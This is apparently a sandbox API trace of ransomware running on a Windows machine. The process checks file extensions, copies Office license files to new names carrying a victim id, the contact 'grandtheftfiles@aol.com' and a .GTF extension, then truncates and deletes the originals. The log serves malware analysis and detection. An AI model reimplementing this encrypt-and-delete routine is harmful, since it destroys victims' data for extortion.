	[0174.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0174.348] lstrlenW (lpString=".zip") returned 4
	[0174.348] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.348] lstrlenW (lpString=".rar") returned 4
	[0174.348] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.348] lstrlenW (lpString=".bz2") returned 4
	[0174.348] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.348] lstrlenW (lpString=".7z") returned 3
	[0174.348] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0174.348] lstrlenW (lpString=".dbf") returned 4
	[0174.348] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0174.348] lstrlenW (lpString=".1cd") returned 4
	[0174.348] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0174.348] lstrlenW (lpString=".jpg") returned 4
	[0174.348] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.349] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.349] lstrlenW (lpString="HomeStudentR_Trial-pl.xrm-ms") returned 28
	[0174.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0174.349] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11163) returned 1
	[0174.349] CloseHandle (hObject=0x45c) returned 1
	[0174.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 0x220
	[0174.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0174.350] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.350] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0174.351] GetLastError () returned 0x0
	[0174.351] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2b9b, lpOverlapped=0x0) returned 1
	[0174.357] WriteFile (in: hFile=0x530, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0174.358] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.358] WriteFile (in: hFile=0x530, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0174.358] SetEndOfFile (hFile=0x530) returned 1
	[0174.358] CloseHandle (hObject=0x530) returned 1
	[0174.358] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.358] SetEndOfFile (hFile=0x45c) returned 1
	[0174.362] CloseHandle (hObject=0x45c) returned 1
	[0174.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 1
	[0174.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0174.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0174.529] lstrlenW (lpString=".doc") returned 4
	[0174.529] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.529] lstrlenW (lpString=".docx") returned 5
	[0174.529] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.529] lstrlenW (lpString=".pdf") returned 4
	[0174.529] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.529] lstrlenW (lpString=".xls") returned 4
	[0174.529] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.529] lstrlenW (lpString=".xlsx") returned 5
	[0174.529] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.529] lstrlenW (lpString=".ppt") returned 4
	[0174.529] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0174.529] lstrlenW (lpString=".zip") returned 4
	[0174.529] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.529] lstrlenW (lpString=".rar") returned 4
	[0174.529] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.529] lstrlenW (lpString=".bz2") returned 4
	[0174.529] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.529] lstrlenW (lpString=".7z") returned 3
	[0174.529] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0174.529] lstrlenW (lpString=".dbf") returned 4
	[0174.529] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0174.529] lstrlenW (lpString=".1cd") returned 4
	[0174.529] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0174.529] lstrlenW (lpString=".jpg") returned 4
	[0174.530] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0174.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0174.531] lstrlenW (lpString=".doc") returned 4
	[0174.531] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.531] lstrlenW (lpString=".docx") returned 5
	[0174.531] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.531] lstrlenW (lpString=".pdf") returned 4
	[0174.531] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.531] lstrlenW (lpString=".xls") returned 4
	[0174.531] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.531] lstrlenW (lpString=".xlsx") returned 5
	[0174.531] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.531] lstrlenW (lpString=".ppt") returned 4
	[0174.531] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0174.531] lstrlenW (lpString=".zip") returned 4
	[0174.531] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.531] lstrlenW (lpString=".rar") returned 4
	[0174.531] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.531] lstrlenW (lpString=".bz2") returned 4
	[0174.531] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.531] lstrlenW (lpString=".7z") returned 3
	[0174.531] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0174.531] lstrlenW (lpString=".dbf") returned 4
	[0174.531] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0174.531] lstrlenW (lpString=".1cd") returned 4
	[0174.531] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0174.531] lstrlenW (lpString=".jpg") returned 4
	[0174.531] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.532] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.532] lstrlenW (lpString="HomeStudentR_Trial2-ppd.xrm-ms") returned 30
	[0174.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0174.532] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=21728) returned 1
	[0174.532] CloseHandle (hObject=0x528) returned 1
	[0174.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 0x220
	[0174.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0174.533] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.533] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0174.534] GetLastError () returned 0x0
	[0174.534] ReadFile (in: hFile=0x528, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x54e0, lpOverlapped=0x0) returned 1
	[0174.562] WriteFile (in: hFile=0x580, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x54f0, lpOverlapped=0x0) returned 1
	[0174.574] ReadFile (in: hFile=0x528, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.574] WriteFile (in: hFile=0x580, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x110, lpOverlapped=0x0) returned 1
	[0174.574] SetEndOfFile (hFile=0x580) returned 1
	[0174.592] CloseHandle (hObject=0x580) returned 1
	[0174.594] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.594] SetEndOfFile (hFile=0x528) returned 1
	[0174.615] CloseHandle (hObject=0x528) returned 1
	[0174.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 1
	[0174.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0174.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0174.650] lstrlenW (lpString=".doc") returned 4
	[0174.651] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.651] lstrlenW (lpString=".docx") returned 5
	[0174.651] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.651] lstrlenW (lpString=".pdf") returned 4
	[0174.651] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.651] lstrlenW (lpString=".xls") returned 4
	[0174.651] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.651] lstrlenW (lpString=".xlsx") returned 5
	[0174.651] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.651] lstrlenW (lpString=".ppt") returned 4
	[0174.651] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0174.651] lstrlenW (lpString=".zip") returned 4
	[0174.651] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.651] lstrlenW (lpString=".rar") returned 4
	[0174.651] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.651] lstrlenW (lpString=".bz2") returned 4
	[0174.651] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.651] lstrlenW (lpString=".7z") returned 3
	[0174.651] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0174.651] lstrlenW (lpString=".dbf") returned 4
	[0174.651] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0174.651] lstrlenW (lpString=".1cd") returned 4
	[0174.651] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0174.651] lstrlenW (lpString=".jpg") returned 4
	[0174.651] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0174.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0174.652] lstrlenW (lpString=".doc") returned 4
	[0174.652] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.652] lstrlenW (lpString=".docx") returned 5
	[0174.652] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.652] lstrlenW (lpString=".pdf") returned 4
	[0174.652] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.652] lstrlenW (lpString=".xls") returned 4
	[0174.652] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.652] lstrlenW (lpString=".xlsx") returned 5
	[0174.652] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.652] lstrlenW (lpString=".ppt") returned 4
	[0174.652] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0174.652] lstrlenW (lpString=".zip") returned 4
	[0174.652] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.652] lstrlenW (lpString=".rar") returned 4
	[0174.652] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.652] lstrlenW (lpString=".bz2") returned 4
	[0174.652] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.652] lstrlenW (lpString=".7z") returned 3
	[0174.652] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0174.652] lstrlenW (lpString=".dbf") returned 4
	[0174.652] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0174.652] lstrlenW (lpString=".1cd") returned 4
	[0174.652] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0174.652] lstrlenW (lpString=".jpg") returned 4
	[0174.652] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.653] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.653] lstrlenW (lpString="MondoR_BypassTrial180-ul-oob.xrm-ms") returned 35
	[0174.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0174.654] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11623) returned 1
	[0174.654] CloseHandle (hObject=0x590) returned 1
	[0174.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0174.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0174.655] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.655] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0174.655] GetLastError () returned 0x0
	[0174.655] ReadFile (in: hFile=0x590, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d67, lpOverlapped=0x0) returned 1
	[0174.675] WriteFile (in: hFile=0x3dc, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0174.677] ReadFile (in: hFile=0x590, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.677] WriteFile (in: hFile=0x3dc, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0174.677] SetEndOfFile (hFile=0x3dc) returned 1
	[0174.689] CloseHandle (hObject=0x3dc) returned 1
	[0174.694] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.694] SetEndOfFile (hFile=0x590) returned 1
	[0174.753] CloseHandle (hObject=0x590) returned 1
	[0174.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0174.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0174.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0174.855] lstrlenW (lpString=".doc") returned 4
	[0174.855] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.855] lstrlenW (lpString=".docx") returned 5
	[0174.855] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.855] lstrlenW (lpString=".pdf") returned 4
	[0174.855] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.855] lstrlenW (lpString=".xls") returned 4
	[0174.855] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.855] lstrlenW (lpString=".xlsx") returned 5
	[0174.855] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.855] lstrlenW (lpString=".ppt") returned 4
	[0174.855] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0174.855] lstrlenW (lpString=".zip") returned 4
	[0174.855] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.855] lstrlenW (lpString=".rar") returned 4
	[0174.855] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.855] lstrlenW (lpString=".bz2") returned 4
	[0174.855] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.855] lstrlenW (lpString=".7z") returned 3
	[0174.855] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0174.856] lstrlenW (lpString=".dbf") returned 4
	[0174.856] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0174.856] lstrlenW (lpString=".1cd") returned 4
	[0174.856] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
